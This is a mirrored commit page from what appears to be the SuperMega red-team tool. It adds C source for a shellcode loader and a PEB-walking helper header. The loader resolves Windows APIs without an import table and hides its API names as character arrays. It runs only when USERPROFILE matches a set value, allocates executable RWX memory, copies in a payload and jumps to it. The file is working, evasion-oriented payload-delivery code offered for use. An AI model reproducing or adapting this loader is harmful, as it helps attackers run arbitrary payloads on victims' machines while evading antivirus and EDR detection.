mirror of
https://github.com/dobin/SuperMega
synced 2026-06-03 01:27:11 +00:00
refactor: introduced and use ExeCapabilities, make it more generic
This commit is contained in:
Dobin
@@ -0,0 +1,109 @@
|
||||
#include <Windows.h>
|
||||
#include "peb_lookup.h"
|
||||
|
||||
|
||||
//extern char *dobin;
|
||||
char *dobin;
|
||||
|
||||
int main()
|
||||
{
|
||||
wchar_t kernel32_dll_name[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0 };
|
||||
LPVOID base = get_module_by_name((const LPWSTR)kernel32_dll_name);
|
||||
if (!base) {
|
||||
return 1;
|
||||
}
|
||||
char load_lib_name[] = { 'L','o','a','d','L','i','b','r','a','r','y','A',0 };
|
||||
LPVOID load_lib = get_func_by_name((HMODULE)base, (LPSTR)load_lib_name);
|
||||
if (!load_lib) {
|
||||
return 2;
|
||||
}
|
||||
char get_proc_name[] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s',0 };
|
||||
LPVOID get_proc = get_func_by_name((HMODULE)base, (LPSTR)get_proc_name);
|
||||
if (!get_proc) {
|
||||
return 3;
|
||||
}
|
||||
HMODULE(WINAPI * _LoadLibraryA)(LPCSTR lpLibFileName) = (HMODULE(WINAPI*)(LPCSTR))load_lib;
|
||||
FARPROC(WINAPI * _GetProcAddress)(HMODULE hModule, LPCSTR lpProcName)
|
||||
= (FARPROC(WINAPI*)(HMODULE, LPCSTR)) get_proc;
|
||||
|
||||
// ntdll.dll: GetEnvironmentVariableW()
|
||||
char GetEnvironmentVariableW_str[] = { 'G','e','t','E','n','v','i','r','o','n','m','e','n','t','V','a','r','i','a','b','l','e','W', 0 };
|
||||
int (WINAPI * _GetEnvironmentVariableW)(
|
||||
_In_opt_ LPCWSTR lpName,
|
||||
_Out_opt_ LPWSTR lpBuffer,
|
||||
_In_ DWORD nSize) = (int (WINAPI*)(
|
||||
_In_opt_ LPCWSTR lpName,
|
||||
_Out_opt_ LPWSTR lpBuffer,
|
||||
_In_opt_ LPCWSTR,
|
||||
_In_ DWORD nSize)) _GetProcAddress((HMODULE)base, GetEnvironmentVariableW_str);
|
||||
if (_GetEnvironmentVariableW == NULL) return 4;
|
||||
|
||||
// Execution Guardrail: Env Check
|
||||
wchar_t envVarName[] = {'U','S','E','R','P','R','O','F','I','L','E', 0};
|
||||
wchar_t tocheck[] = {'C',':','\\','U','s','e','r','s','\\','h','a','c','k','e','r', 0}; // L"C:\\Users\\hacker"
|
||||
WCHAR buffer[1024]; // NOTE: Do not make it bigger, or we have a __chkstack() dependency!
|
||||
DWORD result = ((DWORD(WINAPI*)(LPCWSTR, LPWSTR, DWORD))_GetEnvironmentVariableW)(envVarName, buffer, 1024);
|
||||
if (result == 0) {
|
||||
return 6;
|
||||
}
|
||||
if (mystrcmp(buffer, tocheck) != 0) {
|
||||
return 6;
|
||||
}
|
||||
|
||||
// user32.dll: MessageBoxW()
|
||||
/*
|
||||
char user32_dll_name[] = { 'u','s','e','r','3','2','.','d','l','l', 0 };
|
||||
LPVOID u32_dll = _LoadLibraryA(user32_dll_name);
|
||||
char message_box_name[] = { 'M','e','s','s','a','g','e','B','o','x','W', 0 };
|
||||
int (WINAPI * _MessageBoxW)(
|
||||
_In_opt_ HWND hWnd,
|
||||
_In_opt_ LPCWSTR lpText,
|
||||
_In_opt_ LPCWSTR lpCaption,
|
||||
_In_ UINT uType) = (int (WINAPI*)(
|
||||
_In_opt_ HWND,
|
||||
_In_opt_ LPCWSTR,
|
||||
_In_opt_ LPCWSTR,
|
||||
_In_ UINT)) _GetProcAddress((HMODULE)u32_dll, message_box_name);
|
||||
if (_MessageBoxW == NULL) return 4;
|
||||
|
||||
wchar_t msg_content[] = { 'H','e','l','l','o', ' ', 'W','o','r','l','d','!', 0 };
|
||||
wchar_t msg_title[] = { 'D','e','m','o','!', 0 };
|
||||
_MessageBoxW(0, msg_title, msg_content, MB_OK);
|
||||
*/
|
||||
|
||||
// Copy shellcode
|
||||
// ntdll.dll: VirtualAlloc()
|
||||
char VirtualAlloc_str[] = { 'V','i','r','t','u','a','l','A','l','l','o','c', 0 };
|
||||
LPVOID (WINAPI * _VirtualAlloc)(
|
||||
_In_opt_ LPVOID lpAddress,
|
||||
_In_ SIZE_T dwSize,
|
||||
_In_ DWORD flAllocationType,
|
||||
_In_ DWORD flProtect) = (LPVOID (WINAPI*)(
|
||||
_In_opt_ LPVOID lpAddress,
|
||||
_In_ SIZE_T dwSize,
|
||||
_In_ DWORD flAllocationType,
|
||||
_In_ DWORD flProtect)) _GetProcAddress((HMODULE)base, VirtualAlloc_str);
|
||||
if (_VirtualAlloc == NULL) return 4;
|
||||
char *dest = _VirtualAlloc(NULL, 4096, 0x3000, 0x40);
|
||||
// 11223344 is a magic number which will be replaced in the asm source
|
||||
// with the payload length.
|
||||
for(int n=0; n<11223344; n++) {
|
||||
dest[n] = dobin[n];
|
||||
}
|
||||
|
||||
// Exec shellcode
|
||||
(*(void(*)())(dest))();
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int mystrcmp(wchar_t* str1, wchar_t* str2) {
|
||||
int i = 0;
|
||||
while (str1[i] != L'\0' && str2[i] != L'\0') {
|
||||
if (str1[i] != str2[i]) {
|
||||
return 1;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,120 @@
|
||||
#pragma once
|
||||
#pragma once
|
||||
#include <Windows.h>
|
||||
#ifndef __NTDLL_H__
|
||||
#ifndef TO_LOWERCASE
|
||||
#define TO_LOWERCASE(out, c1) (out = (c1 <= 'Z' && c1 >= 'A') ? c1 = (c1 - 'A') + 'a': c1)
|
||||
#endif
|
||||
|
||||
typedef struct _UNICODE_STRING
|
||||
{
|
||||
USHORT Length;
|
||||
USHORT MaximumLength;
|
||||
PWSTR Buffer;
|
||||
} UNICODE_STRING, * PUNICODE_STRING;
|
||||
typedef struct _PEB_LDR_DATA
|
||||
{
|
||||
ULONG Length;
|
||||
BOOLEAN Initialized;
|
||||
HANDLE SsHandle;
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
PVOID EntryInProgress;
|
||||
} PEB_LDR_DATA, * PPEB_LDR_DATA;
|
||||
//here we don't want to use any functions imported form external modules
|
||||
typedef struct _LDR_DATA_TABLE_ENTRY {
|
||||
LIST_ENTRY InLoadOrderModuleList;
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
LIST_ENTRY InInitializationOrderModuleList;
|
||||
void* BaseAddress;
|
||||
void* EntryPoint;
|
||||
ULONG SizeOfImage;
|
||||
UNICODE_STRING FullDllName;
|
||||
UNICODE_STRING BaseDllName;
|
||||
ULONG Flags;
|
||||
SHORT LoadCount;
|
||||
SHORT TlsIndex;
|
||||
HANDLE SectionHandle;
|
||||
ULONG CheckSum;
|
||||
ULONG TimeDateStamp;
|
||||
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
|
||||
typedef struct _PEB
|
||||
{
|
||||
BOOLEAN InheritedAddressSpace;
|
||||
BOOLEAN ReadImageFileExecOptions;
|
||||
BOOLEAN BeingDebugged;
|
||||
BOOLEAN SpareBool;
|
||||
HANDLE Mutant;
|
||||
PVOID ImageBaseAddress;
|
||||
PPEB_LDR_DATA Ldr;
|
||||
// [...] this is a fragment, more elements follow here
|
||||
} PEB, * PPEB;
|
||||
#endif //__NTDLL_H__
|
||||
|
||||
inline LPVOID get_module_by_name(WCHAR * module_name)
|
||||
{
|
||||
PPEB peb = NULL;
|
||||
#if defined(_WIN64)
|
||||
peb = (PPEB)__readgsqword(0x60);
|
||||
#else
|
||||
peb = (PPEB)__readfsdword(0x30);
|
||||
#endif
|
||||
PPEB_LDR_DATA ldr = peb->Ldr;
|
||||
LIST_ENTRY list = ldr->InLoadOrderModuleList;
|
||||
PLDR_DATA_TABLE_ENTRY Flink = *((PLDR_DATA_TABLE_ENTRY*)(&list));
|
||||
PLDR_DATA_TABLE_ENTRY curr_module = Flink;
|
||||
while (curr_module != NULL && curr_module->BaseAddress != NULL) {
|
||||
if (curr_module->BaseDllName.Buffer == NULL) continue;
|
||||
WCHAR* curr_name = curr_module->BaseDllName.Buffer;
|
||||
size_t i = 0;
|
||||
for (i = 0; module_name[i] != 0 && curr_name[i] != 0; i++) {
|
||||
WCHAR c1, c2;
|
||||
TO_LOWERCASE(c1, module_name[i]);
|
||||
TO_LOWERCASE(c2, curr_name[i]);
|
||||
if (c1 != c2) break;
|
||||
}
|
||||
if (module_name[i] == 0 && curr_name[i] == 0) {
|
||||
//found
|
||||
return curr_module->BaseAddress;
|
||||
}
|
||||
// not found, try next:
|
||||
curr_module = (PLDR_DATA_TABLE_ENTRY)curr_module->InLoadOrderModuleList.Flink;
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
inline LPVOID get_func_by_name(LPVOID module, char* func_name)
|
||||
{
|
||||
IMAGE_DOS_HEADER* idh = (IMAGE_DOS_HEADER*)module;
|
||||
if (idh->e_magic != IMAGE_DOS_SIGNATURE) {
|
||||
return NULL;
|
||||
}
|
||||
IMAGE_NT_HEADERS* nt_headers = (IMAGE_NT_HEADERS*)((BYTE*)module + idh->e_lfanew);
|
||||
IMAGE_DATA_DIRECTORY* exportsDir = &(nt_headers -> OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]);
|
||||
if (exportsDir->VirtualAddress == NULL) {
|
||||
return NULL;
|
||||
}
|
||||
DWORD expAddr = exportsDir->VirtualAddress;
|
||||
IMAGE_EXPORT_DIRECTORY* exp = (IMAGE_EXPORT_DIRECTORY*)(expAddr + (ULONG_PTR)module);
|
||||
SIZE_T namesCount = exp->NumberOfNames;
|
||||
DWORD funcsListRVA = exp->AddressOfFunctions;
|
||||
DWORD funcNamesListRVA = exp->AddressOfNames;
|
||||
DWORD namesOrdsListRVA = exp->AddressOfNameOrdinals;
|
||||
|
||||
//go through names:
|
||||
for (SIZE_T i = 0; i < namesCount; i++) {
|
||||
DWORD* nameRVA = (DWORD*)(funcNamesListRVA + (BYTE*)module + i * sizeof(DWORD));
|
||||
WORD* nameIndex = (WORD*)(namesOrdsListRVA + (BYTE*)module + i * sizeof(WORD));
|
||||
DWORD* funcRVA = (DWORD*)(funcsListRVA + (BYTE*)module + (*nameIndex) * sizeof(DWORD));
|
||||
LPSTR curr_name = (LPSTR)(*nameRVA + (BYTE*)module);
|
||||
size_t k = 0;
|
||||
for (k = 0; func_name[k] != 0 && curr_name[k] != 0; k++) {
|
||||
if (func_name[k] != curr_name[k]) break;
|
||||
}
|
||||
if (func_name[k] == 0 && curr_name[k] == 0) {
|
||||
//found
|
||||
return (BYTE*)module + (*funcRVA);
|
||||
}
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
Reference in New Issue
Block a user